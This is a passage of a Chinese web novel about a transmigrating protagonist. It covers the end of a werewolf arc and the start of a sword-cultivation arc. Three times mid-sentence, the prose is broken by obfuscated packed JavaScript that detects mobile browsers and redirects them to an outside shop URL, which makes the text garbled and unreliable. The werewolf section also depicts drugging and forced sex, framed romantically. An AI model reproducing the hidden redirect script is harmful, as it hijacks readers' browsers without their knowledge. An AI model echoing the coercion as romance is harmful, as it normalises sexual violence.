不过来此的二人都没有欣赏风景的心情。 狼凛带着青时跳进水中,冰凉的池水让青时恢复了一些力气。 他蹬脚远离狼凛,一手扶住岸边,低头冷漠道:“犬白,不狼凛,今日不过是你一意孤行,我们两人之间的结合礼做不得数,我是不可能和你做伴侣的。” 理不清这一地鸡毛,青时只能采取笨办法,打算先抽身出去。 他没有注意到听到这话的犬白猛的沉下脸色,眸光幽暗,“我们的结合已经被兽神见证,你想背弃兽神,成为游兽?” “如果没有选择,我会。”青时说得决绝,说完转身想上岸,一具火热的身体突然将他压下,抵在池岸之上。 狼凛颊肉紧绷,“你就这么讨厌我,宁愿去做游兽?” 这哪是什么讨不讨厌的事,偏偏青时又没有办法跟他解释,只好顺着他的话回答:“对。” 他想借此让狼凛放弃他,好让偏离的剧情回归正途。 青时的想法还是太天真了,他哪里知道此时的他这样说,只会激发狼凛的怒火,让自己被欺负得更惨。 44.白鹿12(完) “鹿青!你休想!”狼凛双目赤红,凶光尽显,张口咬住那雪白的后颈。 他用了劲儿,尖利的犬牙瞬间穿破颈部的皮肤,清甜的血液涌入他的口腔,被他贪婪地汲取着。 因为疼痛,青时喉间发出一声闷哼,指尖用力攀住岸缘。 狼凛用舌尖舔舐着白皙后颈上一圈渗血的牙印,“鹿青,我已经给你种下标记,你这辈子都只能做我身下的雌兽!” 青时的手抓握成拳,手心的蝴蝶花被碾碎,狠狠咬了下牙,他扭身给了狼凛一拳。 再怎么说他也是雄性兽人,这一拳的威力并不低,狼凛的头被打偏,后退了几步,嘴角流出血迹。 青时趁他愣神的功夫爬上岸,为方便逃跑他变化成兽身,清凌的白鹿刚抬起蹄子身后的风声便呼啸而至。 白鹿不得不转变方向,往旁边躲去,和银狼擦肩而过。 银狼在空中调转身体,平稳落地,拦在了白鹿身前。 青时能感觉到自己被银狼全方位锁定,一鹿一狼就这样僵持住。 直到…… 青时突然感觉身体内爆发出一阵热意,从下腹弥漫至全身,脑子似乎也因为这一阵热意产生了片刻眩晕。 白鹿的身体因此晃动了两下,狼凛抓住了这个机会,极速出击,把白鹿扑倒在地。 脖颈被狼爪按在地上,身体被压住,青时的挣扎无处使力。 体内的炽热一层层拔高,青时意识到了不对劲,“狼凛……你对我做了什么?” 狼凛轻笑一声,“这里是部落的天池,每对结对的伴侣都会来的地方。”银狼的另一只前爪促狭地拍了拍,“不知道今晚过后这里会不会有小白鹿?” 白鹿纤细的足蹄无力地颤动,“混蛋!我是雄性,怎么可能受孕!” “没事,这里会被灌满,任谁看都是受孕的样子。”银狼咧嘴笑道。 青时被他口中的描述吓到,偏偏身体不争气的兴奋,气得白鹿清澈的双眼生出一层水雾。 狼凛见状仰天嚎叫一声,随即声音沙哑说道:“变回去,不然,我就这样干你!” 青时当然不想变回人身,那样他就彻底没了逃跑的退路,但是当银狼真的挪动身体把某个火热的物体压到他身上时,青时猛的瞪大了眼。 他来真的!那么大,不可能…… 银狼爪下的白鹿唰一下变成了人身,青时试图往前爬,结果被银狼叼着后颈甩进水池。 “咳咳咳……”狼凛变回人形跳下去,将险些溺水的青时救起,一手捏住他的下颌吻了上去。 火热的舌势不可挡的闯进来,青时感觉身体里的热意似乎有了宣泄口,他不受控制地迎合上去,殷红的舌像两条蛇一样交缠。 他们互相啃噬着对方,两个雄性的较量,谁也不让谁,到最后这几乎都算不上一个吻了,更像是两头野兽的互相撕咬。 不知是谁的嘴唇被咬破,甜蜜的铁锈味弥漫在两人的口腔之中,身体里的野性似乎被唤醒,更加急切地去寻求。 最后是青时先败下阵来,舌尖被狼凛含在嘴里,轻咬吸吮,咽不下的口涎顺着嘴角流下,他的双眼已经迷茫,脑袋轻微地左右晃动,喉间含糊的发出声音:“不……不要了……” 狼凛喘着气,见他是真的受不住,嗤笑一声,吐出口中的舌尖,转而袭向那诱惑他许久的白皙颈项,轻咬慢舔,一寸一寸打上专属于他的标记。 青时仰着头,清冷的月光穿过纤长的睫毛在那张绯红的脸上投下阴影,形似蝴蝶之翼,随着水波的荡漾上下纷飞。 …… 陈可和神巫相谈甚欢,慈祥的神巫让他想起了自己的爷爷。 小时候他父母在外地打工,是爷爷拉扯他长大,可惜那个背有点坨的老人还没来得及享福便因为癌症去世。 这也是陈可心中最大的遗憾。 当神巫提出要收他当学生的时候,陈可没有拒绝。 神巫告诉了他兽神的寓言:神之使者降临南方,他破壳新生,胸怀宝藏,必将引领兽人大陆通往富饶。 这夸得陈可都有些不好意思了。 神巫将他安排在自己的住处,说是方便学习,陈可想也没想就答应了,这样乐不思蜀过了几天,他终于想起被自己忘在脑后的鹿青。 完蛋,鹿青不会以为他跑丢了吧! 神巫手边摊开着一卷画着图画的羊皮卷,下方还写有几行奇怪的文字,应该是某种记录,当他听到陈可的请求时,微微一笑,从桌下拿出一个小巧的陶瓶。 “你去吧,顺便帮我将这个药带给王子狼凛。” 陈可迫不及待跟鹿青分享他这几天的收获,高兴道:“好的,老师。” 王子狼凛的住处在神巫的下方不远处,一座高三米的石屋。 陈可走到门口喊了两声,没人应,于是他走近看,结果发现石屋的客厅好像没人在。 他正想将陶瓶放在屋内的石桌上,耳边忽然听到旁边的房间传来声响。 陈可眨了眨眼,走过去,站在兽皮帘外说道:“王子,神巫让我给您送药,我放……” “进来。”屋里的声音打断了他的话。 陈可觉得这声音好像有点耳熟,他掀开薄薄的兽皮帘,被那个熟悉的面孔震惊得瞳孔扩大,“犬白?!” “呃!”突如其来的闷哼声吸引了陈可的注意,他视线下滑,看到鹿青横躺在狼凛身上,面色潮红,双手反锢在身后,颈上布满了深深浅浅的牙印。 而狼凛的手不知做着什么,引得他紧闭双眼,咬住自己伤痕累累的下唇。 明眼人一看就知道他身上发生了什么。 陈可张着嘴喉头颤动,“你……对鹿青做了什么?!” 青时终于注意到门口的人,他睁开眼望过去,声音嘶哑,“不……不要看……” 狼凛勾起唇角,挑衅地看着陈可,“你不是都看到了,我和鹿青已经结对。”他把手指抽出来,指尖还带着不知名的水渍,“把药给我吧,鹿青承受不了我,所以我特地让神巫调配了药帮他放松,多谢你帮我送来。” “你……你们……”陈可满眼不可置信,他摇着头转身跑走,陶瓶摔在地上,发出清脆的声响。 青时挣动被狼凛一只手抓握住的手腕,看向他质问道:“为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13528909|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?”要这样做? 狼凛松开手,轻哼一声,“当然是为了让他死心。” 青时瞪了他一眼,撑着手从他身上下去,踉跄着朝门口走了两步便因为双腿发软摔倒在地。 这几天他一直在床上没下来过,狼凛这头狼是真的狗! 狼凛上前抱起他,淡淡地威胁道:“你要是敢去找他,我就用兽形干你!” 青时浑身一震,咬牙道:“混蛋!” 任务这个走向,大罗神仙也救不回来了,青时所幸摆烂,而且他心里对于男主狼凛的所作所为在最初的震惊过后,似乎并不意外,他不由得猜测自己前几次任务到底是个什么样的境况。 * 陈可成为了中部兽王部落的继任神巫,在位期间,他带来了瓷器、钢材、水泥……建立起兽人大陆第一座城池——青城。 美丽富饶的青城是所有兽人的梦中之城。 狼凛没有继任下一任兽王,他带着青时走遍了兽人大陆每一个角落。 陈可只能偶尔从游人的口中听到他们的一点传闻,狼凛那个善妒的家伙,这辈子都不会再让他有机会见到青时。 他经常回忆起和青时生活在合部落的时光,那确实是他生命中最快乐轻松的一段经历。 他对鹿青的感情其实算不上是对爱人的喜欢,更多的是依赖,毕竟他是他初次来到陌生的兽人大陆,第一眼看见的人,就像是破壳效应。 有时候他会想,如果当初没有狼凛的介入,他和鹿青会走到一起吗?可惜没有如果。 他很遗憾没能告诉鹿青他不是狐可,他叫陈可,一抹来自异世界的幽魂。 * 系统空间。 光子组成青时的身影,几秒后他睁开双眼,点开自己的人物面板。 【姓名:青时】 【年龄:28(已冻结)】 【任务完成数:3】 【轮回点:10】 青时惊奇地发现自己居然有十点轮回点,这表示他上个任务完成的很圆满,但是…… 他摸了摸自己的脑袋,怎么他还是没有关于上个任务的细节记忆? 青时在沙发上找到睡成一张猫饼的886 ,捏住他的后颈提溜起来,“说,上个任务你干嘛去了,怎么一直不见人?” 886哪敢交代自己一过去就被世界意识拉去唠嗑,眨巴着大眼企图萌混过关,“我这不是锻炼青时你的独立能力嘛,你看你不是完成得很好吗?” “任务是完成了,但是我怎么还是没有记忆,不会是bug了吧?”青时皱眉道。 886当然知道是怎么回事,但是他收了寂灭星系的贿赂,不敢和自家维护员说,怕青时撂担子不干。 “咳咳,可能是吧,我反映一下。”886打哈哈,“青时你打算啥时候进行下一个任务啊,我们乘热打铁。” 青时上下打量一番886,总觉得哪里不对劲,“下个任务你不会还玩消失吧?” 886:“咳咳,不会不会。” 青时轻哼一声,将他放下,“走吧,下一个。” “喵~好的!” 45.剑骨1 沧澜界,星城。 天晴,碧蓝,白云漫天。 悄无声息地,一艘雕梁画栋的精美飞舟穿破云层,云雾四散,如仙境降临。 下方,四方的建筑逐渐展露细节,青石玄瓦质朴又带着历史的厚重。 穿过雕刻着“星月学院”的牌匾,飞舟降落在铺满青石的广场。 自动伸缩的木梯从舟身放出,在星月学院老师林安的翘首以盼下,飞舟上的人终于下来。 一行5人,呈三角形队伍,穿着一模一样的玄黑劲装,上有金线绣制的剑纹,腰间别着一块巴掌大的剑玉。 林安的视线落在最前方那位青年身上,他身形单薄欣长,肩宽腰细,双腿笔直修长,肤色白皙。 明明是很抓眼的人,但当你的视线落在那张如玉的脸庞上时,你的脑海却不会留有他的长相,只记得那双清浅到透明的双眸,好似冬日清冷的阳光,明亮却没有温度。 林安忽而忆起自己以前听说过的一种奇物——玉琉璃,用玉琉璃制作而成的面具,轻薄透气,恍若无物,价格也是普通人望尘莫及的。 佩戴之人不会改变身形,无法改变容貌,只会让人没办法看透自己的长相,而且玉琉璃制成的面具稍有磕碰便会碎裂,所以又被称为华而不实的美丽废物。 林安收回自己的思绪,对着来人笑道:“可是天剑学院的道友?有失远迎,星月初级学院老师林安,这厢有礼了。” 青年朝他拱手行礼,“天剑学院,褚青时。” 他身后几位也一一自我介绍。 “天剑学院,王石。” “天剑学院,柳溪。” “天剑学院,刘程。” “天剑学院,周吴。” “好好好,各位舟车劳顿,辛苦。”林安做出手势,邀请道:“院长已安排好歇息处,诸位,请。” “有劳。”青时颔首,带领天剑学院众人跟上林安。 这个世界是员工手册中提到的玄幻背景。 沧澜界以武为尊,以剑为魂魄,此界之人十岁时有一次觉醒剑魄的机会,成功觉醒之人被称为剑者。 剑者是沧澜界修行之人的统称。 觉醒的剑魄有1~9品之分,级别越高代表天赋越好,最终能达到的修为境界越高深,一般6~8品剑魄是天才,9品剑魄是天骄。 沧澜界的修为界定分为六个境界,从低到高分别为剑徒,剑士,剑师,大剑师,剑主,至尊。 青时这次的身份,是沧澜界权利顶端四大家族褚蒋韩云中褚家家主之子,身份虽高身体却不好。 只因他在娘胎中受了寒毒,出生时便寒毒缠身,导致身体虚弱,以至于他虽是觉醒九品剑魄的天骄,身体却无法承载负荷。 家族因此放弃了他,父母更是第二年就重新生了个弟弟。 不甘心如此的他觊觎上了男主裴瑜体内的天生至阳剑骨。 青时此次的任务就是试图夺取男主裴瑜的剑骨,却被男主反伤,寒毒噬体成了废人,最后郁郁而终。 演武场。 一整块玄铁石打造的擂台上,一青一黑两道身影来回交错,他们各自手里拿着一柄长剑,只是普通的铁石长剑,但此时长剑外包裹着一层虚幻的剑影,立刻就显出不凡,两剑相接,金戈脆响。 “裴瑜这个裴家的废物,什么时候成了七阶剑徒?” “就是说,而且他一个七阶居然能和九阶巅峰的姜灵儿打得你来我往!” “半年前他还是个不能修炼的废物,就算是觉醒顶级剑魄也不可能修炼得这么快吧?!” “不会是吃了什么禁药吧?!” “什么药效果这么好?就算有裴家也买不起吧?” “那裴瑜这怎么解释,难不成他一直在藏拙?” …… 擂台下观看的众人吵嚷着,似乎很不可思议。 捕捉到熟悉的名字,跟随林安路过的青时停下脚步,裴瑜,这个世界的男主角。 他一停,整个队伍都停下了。 林安顺着他的视线望过去,看到擂台上交战的二人,他抚摸着胡须微笑道:“褚道友对擂台上交战的人感兴趣?那位青衣女子是星城姜家家主之女姜灵儿,10岁觉醒七品剑魄,如今已是九阶剑徒巅峰,她父亲在北斗学院有旧交,她已收到北斗学院的招生令。” 林安的意思,是姜灵儿已有归属,他们不用再问。 天剑学院和北斗学院是沧澜界最负盛名的两家学院,专业培养18岁以上的天才少年成才,是人人趋之若鹜的地方,沧澜界的人都以进入学院为荣。 北斗学院背后的支持者是世家,学生更偏向贵族,而天剑学院的支持者是猎兽会,更利好平民。 二者之外还有个至尊学院,它不对一般人开放,只招收最顶尖的天才,一般人连它的门槛都看不着。 三所学院之间每一年都会有大比,会根据前十名的占比分配资源。 往年一般都是至尊学院独占鳌头,北斗和天剑分庭礼抗。 “嗯。”青时应了声表示知晓,“另一位呢?” “另一位……嗯?怎么是他?”林安看清与姜灵儿对战的少年,有些诧异。 “怎么了?”青时反问道。 林安收起失态表情,继续说道:“那位少年名叫裴瑜,是星城前四大家族裴家之子,此子十岁觉醒八品剑魄,当时轰动了整个星城,只可惜十五岁那年不知为何,他的剑魄等级一夜之间下降到一品,实在是造化弄人。” “我记得半年前他不过才二阶剑徒,没想到如今居然已有七阶。”说着林安也觉得很费解,以一品资质半年横跨五阶,这也太夸张了些。 青时点点头表示知晓。 此时擂台上的打斗也接近尾声,只见裴瑜和姜灵儿手中铁剑再度交叉对抗,两把铁剑之上的虚影有星芒一颗接一颗显现。 姜灵儿剑上是九颗,呈“之”字形,排布整齐,意外地是裴瑜,他的剑上居然有八颗星芒,虽然第八颗忽明忽暗不太稳定,但确实已经显现,这说明他已经迈入八阶剑徒,而且是刚刚突破。 两剑交接点释放出猛烈的罡气,吹得台上两人衣袍纷飞。 僵持几秒后,两人同时倒飞出去,掉下了擂台范围。 台下观看的众人发出惊叹。 “天呐,竟然是平局!” “以七阶,不对,八阶之力力战九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13547124|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阶巅峰而不败,假的吧?!” “哇,第一次看到在战斗过程中进阶的,太帅了!” “好强!这还是那个废物裴瑜吗?!”…… 姜灵儿稳住身形,默默咽下口中的腥甜,她没想到被喊了三年废物的裴瑜居然有了这般实力,实在出乎她的意料。 姜灵儿的弟弟姜广站出来,藐视裴瑜,不屑道:“裴瑜,虽然不知道你用了什么邪魔外道的办法和我姐姐打成平手,但你也没赢,你和我姐姐的婚约必须解除。” 半跪在地的裴瑜站起身,擦了擦自己嘴角溢出的鲜血,从怀中掏出一张红色的纸,上面有两个显眼的大字“婚柬”。 这是当年姜家在得知他觉醒八品剑魄后主动求来的,而今因为裴家落寞,他天赋消失,姜家卸磨杀驴,弄出这一场退婚闹剧,真是好笑。 “嘶啦” 众目睽睽之下,裴瑜将手中婚柬撕成碎纸,向空中一扬。 金色纸片随风飘散,裴瑜嗤笑道:“我并不稀罕和你们姜家的婚约,我只是想说,你们姜家的天才好像也不过如此。” “你们记住,退婚,是我裴瑜先提出来的,姜灵儿这种女人,送给我我都看不上眼。” “你!”姜广被气得跳脚,“裴瑜你也就只配乘点口舌之快!我姐姐已经被北斗学院录取,到时候你们之间的差距只会越来越大,你连给我姐提鞋的资格都没有!” “呵,”裴瑜握紧拳头,冷笑一声,“那我们就走着瞧,下一次遇上,她会输。” “呦呦呦,放狠话谁不会!也不想想你一个一品剑魄有哪个高级学院会要你,你和我姐只怕没机会再见了。” 远处林安看到这一幕,神情有些尴尬,“让诸位见笑了。” 青时手一翻,一枚中指大小的乳白剑玉出现在他的手中,两指一夹,一甩,剑玉“唰”一下朝着裴瑜飞过去。 擂台下的裴瑜似有所感回手接住,他打开手掌看到刻有“天剑”二字的剑玉,于是顺着飞来的轨迹望向青时一行人。 他的目光不由自主地落在气质出众的青时身上,只是…… 祖宗,那个人的脸我怎么记不住? 裴瑜口中的祖宗,如今寄身于储物戒之中的残魂裴笑白,回应道:那人脸上带着玉琉璃面具,你当然记不住。 玉琉璃? 裴笑白:一种华而不实的昂贵材料,一克价值千金。 见裴瑜一直望着他们,以为他是不知道剑玉是什么,站在青时身后的王石,大声道:“小子,你手里的是我们天剑学院的招生令,我们首席给你们再战的机会,可别让他失望啊!” “走吧。”将剑玉丢给男主裴瑜,青时事了拂衣去,示意林安继续带路。 林安从震惊中回神,“哦哦,这边请。” 裴瑜看着远去的青时,将手里的剑玉默默收起,视线一转,他对上了无数双充满妒忌和羡慕的眼神。 “和北斗齐名的天剑学院,裴瑜你小子好大的福气!” 裴瑜后退几步,瞥了眼脸色难看的姜灵儿和姜广,心情十分舒畅,他笑道:“诸位道友加油啊,我在天剑学院等着大家。” 说完怕被群殴的他疾速开溜。 46.剑骨2 裴瑜这批年满18岁的学生,因为招生季的到来早已停了课,每天除了修炼和切磋之外,没什么其他可做。 等待他们的也无非是两种命运,要么进入高等学院深造,要么进入市井做散修。 裴瑜把玩着乳白的剑玉,视线落在上面镌刻的“天剑”二字上,“祖宗,我去天剑的话对你有影响吗?听说天剑学院可是有剑主坐镇。” “难为你小子还考虑到祖宗我,”裴笑白欣慰道,“放心吧,只要我不露出灵魂波动,你就算和剑主面对面他也发现不了我。” “那就好。”裴瑜点点头,将剑玉收进储物戒,看着这枚黑色的简朴戒指,他一时有些感慨。 谁能想到十岁时父亲送给他的这枚储物戒,间接改变了他的人生轨迹。 不过,祸福相依,如果没有这三年来被嘲笑、讽刺废物的经历,现在的他应该也成了个眼高于顶的上人了吧,想想就觉得丑陋。 裴笑白似是察觉到裴瑜心中所思,“裴瑜小子,你放心,有老祖宗我在,不会让你比那些个天骄差的。” “嗯。”裴瑜不怀疑裴笑白这位老祖宗的话,因为在裴笑白的指导下,短短半年他便从二阶剑徒升级到八阶,这是以前的他想都不敢想的事。 明月高悬,丝丝月华化作飘渺的烟雾向着木楼顶端的房间靠拢。 房间内,青时盘腿坐在床榻,双手自然放置在膝上,双目闭阖,月华围绕在他周身,以至于让他宛若端坐云间的仙人。 刺骨的寒意从他身上散发,房间里的地面和墙壁已经结了一层薄霜。 一道剑影在他背后浮现,剑身之上九道冰蓝暗纹一闪而过。 “噗——” 鲜血从青时口中喷涌而出,地面开出朵朵红梅。 青时结束修炼状态,捂着心口,眉头微蹙。 随着他修为渐长,体内寒毒与剑魄的联系愈加紧密,对身体的负荷也越来越大,再这样下去他只怕会死于寒毒噬体,除非他不再修炼,但这是不可能的。 在以武为尊的沧澜界,当个不能修炼的废人,对褚青时来说比死更难受,他的自尊,不允许他堕落。 尤其他还生在顶级修炼世家,家族中人才辈出,他怎甘于人下。 青时用蚕丝帕擦干净嘴角的血迹,随手将手帕扔向地面,落在地上的手帕变得僵硬,接着化成冰晶碎裂开。 一卷布艺卷轴出现在青时手中,看着很老旧,应该有些年头了,开页上用金线绣着四个字——“开元宝典”。 这份宝典是褚青时在一处秘境所得,上面记录了万年前至尊剑主开元大帝为救其身中阴毒的夫人,所创造出的一门名为夺造化的特殊功法。 开元大帝让夫人修习这个功法,将自身的至阳剑骨过渡给夫人,以剑骨镇压阴毒,后来其夫人不仅没再被阴毒所扰,还将阴毒炼化融进剑魄,成了有名的“毒娘子”。 这个功法让褚青时看到了希望,至阳剑骨连阴毒都能压制,他身上这区区寒毒,肯定也不在话下。 一年前得到这部功法的时候他就在寻找身怀至阳剑骨之人,可惜一直无果,没想到今日在这个小城发现了裴瑜,真是天助他也。 剑骨过渡的条件很苛刻,必须要修习功法之人和身怀剑骨之人亲密达到一定程度,让修习功法的人逐渐适应剑骨的气息,这样过渡的时候才不会受到剑骨排斥。 所以青时现下最主要的,就是和裴瑜搞好关系,最好是能成为亲密无间的好友。 裴瑜看上去虽然大大咧咧,但青时能看到他眼底的淡漠,这样一个人可不好接近,不过,十几年寒毒都忍受了,再多等一段时间,也没什么,他有耐心。 “叩叩叩”王石敲响青时的房门。 没等他说话雕花木门便从里面打开,穿着一身月白长袍的青时出现在他眼前。 月白的服饰上藏着鎏金暗纹,在光照下熠熠生辉,加上青时本身清冷的气质,仿佛月之仙子下凡尘。 这不会是传说中万金一尺的月锦布吧。王石内心啧舌。 “首席,星月学院已备好测试场地,我们什么开始招生选拔?” 青时理了理衣袖,淡淡回应道:“我还有要事,招生之事便全权交由你们四人负责。” 王石愣了下,随即抱拳回礼,“是。” 等王石离开,青时关上房门下楼。 他在递给裴瑜的剑玉上做了手脚,方便他定位他的动向,现在是时候去会一会了。 裴瑜狼狈地躲开身后瞬发的剑气,他今日在猎兽会接了个猎杀白云魔豹的任务,谁知一出城便发觉身后跟着尾巴。 本以为进了林子会甩掉,没想到那人跟装了雷达似的,直追他而来,二话不说就开始动手。 裴瑜转身抡起铁剑迎上去,只是一接触他便被震飞出去,脊背撞上树干,吐出一口血,手里的铁剑上也多了一个豁口。 他瞳孔微缩,此人绝对不是剑徒实力。 “你是什么人,为什么要杀我?” 面前带着白色半脸面具的男人,看着狼狈的裴瑜,嘴角微勾,“死人不需要知道那么多,怪只怪你自己,好好的废物不当,惹了不该惹的人。” 裴瑜后槽牙收紧,目光似剑刺向面具人,笃定道:“你是姜家的人。” 发觉面具人脚步一顿,裴瑜开口嘲笑:“你们姜家是觉得以后姜灵儿必输,所以提前来杀人灭口吗?” 面具人冷哼一声,“我姜家的面子可不是你一个破落家族的小子能败的。” “呵,真是好大的面子!”裴瑜握紧手中之剑,默默运转功法。 祖宗,此人什么实力? 裴笑白:五阶中级剑士,你不是他的对手,我的建议是快跑。 裴瑜内心苦笑,姜家还真看得起他,收拾一个八阶剑徒居然派出了一位剑士。 眼看面具人挥动手中之剑,几道青色剑气直冲裴瑜面门而来,他作出抵抗架势,借着剑芒的冲击力疾速后退,超出一定距离后他丢下手里破碎的铁剑,转身就朝密林深处狂奔。 没想到裴瑜逃得这么果断,面具人愣了下,随即追上去。 裴瑜的身影几乎化作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13556019|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一道虚影,但身后之人速度比他更快,两人之间的距离不断拉近。 这样下去迟早会被追上的,裴瑜咬了咬牙,眸中闪过一抹凶光,今天就是死他也得拉个垫背的。 这般想着他脚下一转,换了前进的方向。 “吼!” 捕捉到前方一声凶悍的吼叫,裴瑜裂开嘴,前不久他来星语之森猎杀妖兽时,发现了这头刚晋级妖灵期(相当于人类剑士)的炎魔熊,就算是五阶剑士,也够他喝一壶的。 眼看炎魔熊的老巢近在咫尺,裴瑜速度再度暴涨。 身后的面具人也听到了这声吼叫,他从中感觉到了威胁,发出声音的妖兽实力定不弱于他,一时间他脚下有些迟疑,但看到裴瑜不要命地往里冲,他咬了咬牙还是追了上去。 他就不信,这泥鳅小子去招惹这等实力的妖兽,自己能讨得了好,他好歹打不过还能跑。 裴瑜闷头冲进炎魔熊所在的地方,隔着段距离他就看到炎魔熊标志的暗红色毛发,但是当他走近,却发现这头身长7米的炎魔熊睁着眼睛倒在地上,一动不动。 一位身穿月白长袍的男子站在它的头前,见他过来男子微微侧头看向他,记不清的面容,但是那双浅色的琥珀眸子,裴瑜印象深刻。 这人不就是昨天那个递给他招生令的天剑学院的人,他,来杀熊? 面具人追着追着,发现前方的裴瑜停下,以为他是见到妖兽吓傻了,冷笑一声,甩出五道剑芒朝着他毫无防备的后心而去。 怔住的裴瑜察觉到身后袭来的剑芒,眼看距离太近已无法躲闪,正准备硬抗,没想到一道冰蓝的剑影比青色剑芒更快,瞬间穿过剑芒的重影刺入面具人的心口。 面具人瞪大双眼,不可置信地看着自己胸前散发着寒气的剑影,随着剑影碎成冰晶散落,他也直挺挺地倒了下去。 主人死亡,临近裴瑜面前的剑芒化作一阵风,吹起他碎乱的刘海,露出下压的剑眉和深邃的眼窝,他回头望向剑影的来处,咽了咽口水, 乖乖,五阶剑士,一招致命! 裴瑜抱拳向青时行礼,“裴瑜多谢前辈搭救。” 青时漫不经心地瞥了裴瑜一眼,朝他微微颔首,随后手腕翻转,用剑从炎魔熊脑袋中挑出一颗鹅卵石大小的暗红魔晶。 魔晶一入手青时便感觉到上面传出的丝丝暖意,是他需要的阳性魔晶,将魔晶收进储物戒,青时理了理并不乱的衣袖,转身打算离开。 裴瑜看看地上那么大的炎魔熊尸体,又看看已经转身离开的青时,没忍住问了声:“前辈,这剩下的炎魔熊您不要了吗?” 要知道一头妖兽全身是宝,这样一只妖灵期炎魔熊带去猎兽会,就算没有魔晶,也起码能换一万金。 青时头也不回的应了声,“嗯。” 裴瑜瞧着青时离开的背影,摸了摸脑袋。 裴笑白从储物戒中出来,幻化成虚幻的人形,一个儒雅的中年人形象,他感叹道:“臭小子,人家那套衣服就价值十几万金,一看就是不缺钱的主,哪会在意这区区一两万金。”